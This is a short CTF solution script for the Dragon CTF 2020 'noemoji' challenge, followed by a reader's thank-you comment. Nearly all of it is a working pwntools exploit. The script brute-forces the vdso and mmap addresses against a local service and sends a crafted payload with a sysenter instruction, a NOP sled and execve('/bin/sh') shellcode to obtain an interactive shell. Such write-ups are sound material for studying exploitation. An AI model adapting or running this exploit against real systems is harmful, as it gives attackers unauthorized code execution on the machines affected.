Dragon CTF 2020 noemoji

noemoji.py

from pwn import *


# just 32 bit shellcode doing execve("/bin/sh", ...)
# note that esp will have some trash in it, so it needs to allocate the stack (or not use one at all)
os.system("nasm shc.asm")
with open("shc", "rb") as f:
    SHC = f.read()

context.log_level = "warning"

def recv_menu():
    r.recvuntil("cow beer\n\n")


def beer():
    r.sendline("b")
    r.recvuntil("map() at @")
    x = int(r.recvline().strip(), 16)
    return x

with log.progress("Bruting vdso", level = logging.WARN) as p:
    i = 0
    while 1:
        i += 1
        p.status("{}/1024".format(i))

        r = remote("127.0.0.1", 1337)
        x = r.recvline_contains("[vdso]")
        vdso = int(x.split(b" ")[0].split(b"-")[0], 16)

        if ((vdso & (2**32 - 1)) >> 12) < 1000:
            recv_menu()
            break

        r.close()
    p.success("Done!")

warn("vdso: " + hex(vdso))
warn("took: " + str(i))

target_addr = vdso & (2**32 - 1)

with log.progress("Bruting mmap", level = logging.WARN) as p:
    i = 0
    while beer() != target_addr:
        i += 1
        p.status("{}/1024".format(i))
    recv_menu()
    p.success("Done!")
warn("took: " + str(i))

r.sendline("h")
r.recvuntil("gib:\n")
msg  = b"\xcc" * 0x200
msg += b"\x0f\x34" # sysenter
msg = msg.ljust(0x1000 - len(SHC), b"\x90")
msg += SHC
r.send(msg)

r.interactive()
r.close()

Thanks for the solution! I never would have thought of sysenter for this.